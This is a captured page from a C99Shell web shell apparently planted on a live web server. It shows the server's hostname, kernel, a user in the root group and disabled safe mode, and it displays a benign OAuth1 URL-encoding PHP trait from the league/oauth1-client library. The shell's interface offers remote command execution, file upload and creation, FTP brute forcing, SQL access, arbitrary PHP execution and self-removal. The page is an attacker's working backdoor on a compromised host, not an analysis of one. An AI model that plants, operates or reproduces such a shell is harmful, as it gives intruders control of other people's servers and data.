!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/league/oauth1-client/src/Signature/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EncodesUrl.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\OAuth1\Client\Signature;

use 
GuzzleHttp\Psr7;
use 
GuzzleHttp\Psr7\Uri;
use 
Psr\Http\Message\UriInterface;

trait 
EncodesUrl
{
    
/**
     * Create a Guzzle url for the given URI.
     *
     * @param string $uri
     *
     * @return UriInterface
     */
    
protected function createUrl($uri)
    {
        return 
Psr7\Utils::uriFor($uri);
    }

    
/**
     * Generate a base string for a RSA-SHA1 signature
     * based on the given a url, method, and any parameters.
     *
     * @param UriInterface $url
     * @param string       $method
     * @param array        $parameters
     *
     * @return string
     */
    
protected function baseString(UriInterface $url$method 'POST', array $parameters = [])
    {
        
$baseString rawurlencode($method) . '&';

        
$schemeHostPath Uri::fromParts([
            
'scheme' => $url->getScheme(),
            
'host' => $url->getHost(),
            
'port' => $url->getPort(),
            
'path' => $url->getPath(),
        ]);

        
$baseString .= rawurlencode($schemeHostPath) . '&';

        
parse_str($url->getQuery(), $query);
        
$data array_merge($query$parameters);

        
// normalize data key/values
        
$data $this->normalizeArray($data);
        
ksort($data);

        
$baseString .= $this->queryStringFromData($data);

        return 
$baseString;
    }

    
/**
     * Return a copy of the given array with all keys and values rawurlencoded.
     *
     * @param array $array Array to normalize
     *
     * @return array Normalized array
     */
    
protected function normalizeArray(array $array = [])
    {
        
$normalizedArray = [];

        foreach (
$array as $key => $value) {
            
$key rawurlencode(rawurldecode($key));

            if (
is_array($value)) {
                
$normalizedArray[$key] = $this->normalizeArray($value);
            } else {
                
$normalizedArray[$key] = rawurlencode(rawurldecode($value));
            }
        }

        return 
$normalizedArray;
    }

    
/**
     * Creates an array of rawurlencoded strings out of each array key/value pair
     * Handles multi-dimensional arrays recursively.
     *
     * @param array      $data        Array of parameters to convert.
     * @param array|null $queryParams Array to extend. False by default.
     * @param string     $prevKey     Optional Array key to append
     *
     * @return string rawurlencoded string version of data
     */
    
protected function queryStringFromData($data$queryParams null$prevKey '')
    {
        if (
$initial = (null === $queryParams)) {
            
$queryParams = [];
        }

        foreach (
$data as $key => $value) {
            if (
$prevKey) {
                
$key $prevKey '[' $key ']'// Handle multi-dimensional array
            
}
            if (
is_array($value)) {
                
$queryParams $this->queryStringFromData($value$queryParams$key);
            } else {
                
$queryParams[] = rawurlencode($key '=' $value); // join with equals sign
            
}
        }

        if (
$initial) {
            return 
implode('%26'$queryParams); // join with ampersand
        
}

        return 
$queryParams;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--